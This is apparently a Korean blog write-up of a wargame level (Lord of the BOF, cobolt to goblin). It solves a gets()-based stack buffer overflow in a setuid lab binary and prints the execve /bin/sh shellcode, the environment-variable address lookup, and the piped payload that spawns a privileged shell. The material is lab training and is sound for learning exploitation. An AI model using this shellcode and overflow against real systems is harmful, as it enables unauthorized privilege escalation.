[해커스쿨 LOB] Level3: cobolt >> goblin

두비니

·

2019. 9. 24. 23:38

 


Level 3. Cobolt >> Goblin

Theme: Basic BufferOverFlow (w/ stdin)


 

 

 

 

로그인합시다

id: cobolt
pw: hacking exposed

 

ls -l로 디렉토리를 확인하면 역시나

[cobolt@localhost cobolt]$ ls -l
total 16
-rwsr-sr-x    1 goblin   goblin      11824 Feb 26  2010 goblin
-rw-r--r--    1 root     root          193 Mar 29  2010 goblin.c
[cobolt@localhost cobolt]$ nl goblin.c
     1  /*
     2          The Lord of the BOF : The Fellowship of the BOF
     3          - goblin
     4          - small buffer + stdin
     5  */

     6  int main()
     7  {
     8      char buffer[16];
     9      gets(buffer);
    10      printf("%s\n", buffer);
    11  }

 

우리가 해결해야 할 goblin파일이 있네요. 파일을 확인해보니 이번에는 strcpy대신에 gets함수를 이용하고 있네요. 매개변수를 통한 입력에서 표준입력으로 바뀌었다는 점은 있지만 환경변수로 풀면 되는건 똑같습니다. stack구조는 2번문제랑 동일하겠죠?

 

 

문제에 필요한 정보들을 구하는 방법은 동일해서 설명은 생략하겠습니다.

[cobolt@localhost cobolt]$ export EGG=`python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[cobolt@localhost cobolt]$ vi getaddr.c
[cobolt@localhost cobolt]$ nl getaddr.c
     1  #include <stdio.h>
     2  #include <stdlib.h>
     3  #include <string.h>

     4  int main(int argc, char *argv[])
     5  {
     6          char *ptr;

     7          ptr = getenv(argv[1]);
     8          printf("%p\n", ptr);
     9          return 0;
    10  }
[cobolt@localhost cobolt]$ gcc -o getaddr getaddr.c
[cobolt@localhost cobolt]$ ./getaddr EGG
0xbffffd65

 

자 이제 환경변수의 주소가 0xbffffd65라는건 알았지만, argv로는 전달을 할 수 없는 상황에서는 이걸 어떻게 전달해주어야할까요?

뭐 직접 실행시킨뒤 A를 20개 직접 입력하고 주소를 써도 되겠죠. 근데 앞으로 buffer의 길이가 100개, 1000개 이상인 상황이 생긴다면 어떻게 할 건가요?

이럴때는 pipeline을 이용하면 됩니다.

리눅스의 파이프라인에 대해서 잘 모르는 사람들은 다음 글의 pipe부분을 참고하세요: https://jhnyang.tistory.com/66

 

[Linux, Unix]다중명령어(세미콜론(;), 파이프pipe(|), 더블 엔퍼센트 &&, ||)의미,사용법과 차이점

[리눅스 Linux] 리눅스 완전 정복 : 리눅스 목차 안녕하세요 오늘은 다중 명령어에 대해서 알아볼거예요 명렁어가 짧아도 매번 한줄에 한 명령어씩 치면서 연습했었죠? 하지만 리눅스는 한 라인(��

jhnyang.tistory.com

 

[cobolt@localhost cobolt]$ (python -c 'print "A"*20 + "\x65\xfd\xff\xbf"';cat) | ./goblin
AAAAAAAAAAAAAAAAAAAAe▒▒▒

bash$ my-pass
euid = 503
hackers proof

바뀐점이 있다면 이제는 pipe를 이용해 인자를 전달해주었다는 점인데, 이는 매개변수가 아니라 직접 gets함수(표준입력)로 받고있기때문에 저렇게 작성했습니다.

2번이랑 똑같아서 쉬웠죠?

 

 

 

다음!